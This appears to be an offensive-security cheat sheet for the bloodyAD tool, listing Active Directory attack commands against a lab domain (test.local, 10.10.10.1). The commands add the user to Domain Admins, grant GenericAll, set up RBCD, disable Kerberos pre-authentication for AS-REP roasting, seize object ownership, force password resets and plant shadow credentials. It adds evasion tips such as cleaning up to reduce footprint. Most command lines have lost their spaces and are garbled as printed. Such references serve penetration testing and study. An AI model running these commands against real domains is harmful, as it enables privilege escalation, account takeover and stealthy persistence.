BloodyAD can be used to set, write and delete properties of objects in AD. Given a user:pass, you can use bloodyAD to which objects and what properties of
those objects are writeable to the user:pass given. Thus if you use -u john -p john, this command will show you what objects and properties
can john write to
Command Reference:
Target IP: 10.10.10.1
Domain: test.local
Username: john
Password: password123
bloodyAD's `add computer` action creates a new machine account in the domain over LDAP. Any authenticated user can create up to ms-DS-MachineAccountQuota (default 10) computer accounts, so this is a reliable way to obtain an attacker-controlled principal for RBCD, shadow-credential, or S4U abuse chains. The created computer account has a known password you control. Check the MachineAccountQuota before use; a value of 0 blocks this.
Command Reference:
Target DC IP: 10.10.10.1
Domain: test.local
Username: john
Password: password123
# Create a computer account (returns the new SAM account name and password)bloodyAD--host10.10.10.1-dtest.local-ujohn-p'password123'addcomputerEVILPC'Password123!'
bloodyAD's `add genericAll` action writes a new ACE granting a trustee full control (GenericAll) over a target object's DACL via LDAP. Use it to escalate a lesser right (WriteDacl / WriteOwner) into full control over a user, group, or computer, or to establish a durable ACL backdoor for persistence. Once you hold GenericAll you can reset passwords, set shadow credentials, or configure RBCD on the target.
Command Reference:
Target DC IP: 10.10.10.1
Domain: test.local
Username: john
Password: password123
Target object: victim
Granted principal: john
# Grant john GenericAll over the victim objectbloodyAD--host10.10.10.1-dtest.local-ujohn-p'password123'addgenericAllvictimjohn
bloodyAD's `add groupMember` action writes the `member` attribute of a group over LDAP, adding an arbitrary principal (typically yourself) to it. Use it when BloodHound shows you hold GenericAll, GenericWrite, WriteOwner, or Self/AddMember over a privileged group such as an admin or Remote Management group. Adding your account to a high-value group is a direct privilege-escalation primitive; remove yourself afterward to reduce footprint.
Command Reference:
Target DC IP: 10.10.10.1
Domain: test.local
Username: john
Password: password123
Target group: Domain Admins
# Add yourself (john) to a group you can write tobloodyAD--host10.10.10.1-dtest.local-ujohn-p'password123'addgroupMember'Domain Admins'john
bloodyAD's `add rbcd` action writes the `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute of a target computer over LDAP, configuring Resource-Based Constrained Delegation so that a controlled service account may impersonate any user to that machine. Combine with an attacker-controlled computer account (see bloodyAD add computer) and Impacket getST -impersonate to obtain a service ticket as a local admin. Requires GenericWrite / GenericAll / WriteProperty over the target computer object.
Command Reference:
Target DC IP: 10.10.10.1
Domain: test.local
Username: john
Password: password123
Target computer: DC01$
Controlled service: EVILPC$
# Allow EVILPC$ to act on behalf of others against DC01$bloodyAD--host10.10.10.1-dtest.local-ujohn-p'password123'addrbcd'DC01$''EVILPC$'
bloodyAD's `add uac` action with the `-f DONT_REQ_PREAUTH` flag sets the DONT_REQ_PREAUTH bit in a target user's userAccountControl over LDAP, disabling Kerberos pre-authentication. This is a targeted AS-REP roasting primitive: once the flag is set you can request an AS-REP for the account and crack it offline. Requires GenericWrite / write access to the target's userAccountControl; remove the flag afterward to clean up.
Command Reference:
Target DC IP: 10.10.10.1
Domain: test.local
Username: john
Password: password123
Victim user: victim
# Enable targeted AS-REP roasting on the victimbloodyAD--host10.10.10.1-dtest.local-ujohn-p'password123'adduacvictim-fDONT_REQ_PREAUTH
bloodyAD's `set owner` action rewrites the owner field in a target object's security descriptor over LDAP. The object owner has implicit WriteDacl, so seizing ownership of a user, group, or computer lets you subsequently grant yourself GenericAll (see bloodyAD add genericAll) and fully control it. Use it when BloodHound reports WriteOwner over a principal. Pair it with a follow-up DACL write to complete the takeover.
Command Reference:
Target DC IP: 10.10.10.1
Domain: test.local
Username: john
Password: password123
Target object: victim
New owner: john
# Take ownership of the victim object, then grant yourself full controlbloodyAD--host10.10.10.1-dtest.local-ujohn-p'password123'setownervictimjohnbloodyAD--host10.10.10.1-dtest.local-ujohn-p'password123'addgenericAllvictimjohn
bloodyAD's `set password` action performs a targeted password reset on a user or computer object over LDAP(S). It is the exploitation step when you hold GenericAll, User-Force-Change-Password, or WriteAll over a victim principal discovered in BloodHound. Resetting a service account or privileged user password grants immediate takeover, at the cost of locking out the legitimate user, so it is loud. Requires LDAPS (or LDAP with channel binding) on modern DCs for the password write.
Command Reference:
Target DC IP: 10.10.10.1
Domain: test.local
Username: john
Password: password123
Victim user: victim
# Force-reset the password of a user you have write rights overbloodyAD--host10.10.10.1-dtest.local-ujohn-p'password123'setpasswordvictim'NewPassword123!'
bloodyAD's `add shadowCredentials` action appends an attacker-generated key credential to the target's `msDS-KeyCredentialLink` attribute (the Shadow Credentials / Key Trust technique). Requiring only GenericWrite over the victim and an ADCS-enabled PKINIT-capable environment, it lets you authenticate as the target via a certificate and recover its NT hash without changing the account's password, making it far stealthier than a password reset. bloodyAD prints the PFX and follow-up PKINIT command.
Command Reference:
Target DC IP: 10.10.10.1
Domain: test.local
Username: john
Password: password123
Victim account: DC01$
# Add a shadow credential (KeyCredentialLink) to the victimbloodyAD--host10.10.10.1-dtest.local-ujohn-p'password123'addshadowCredentials'DC01$'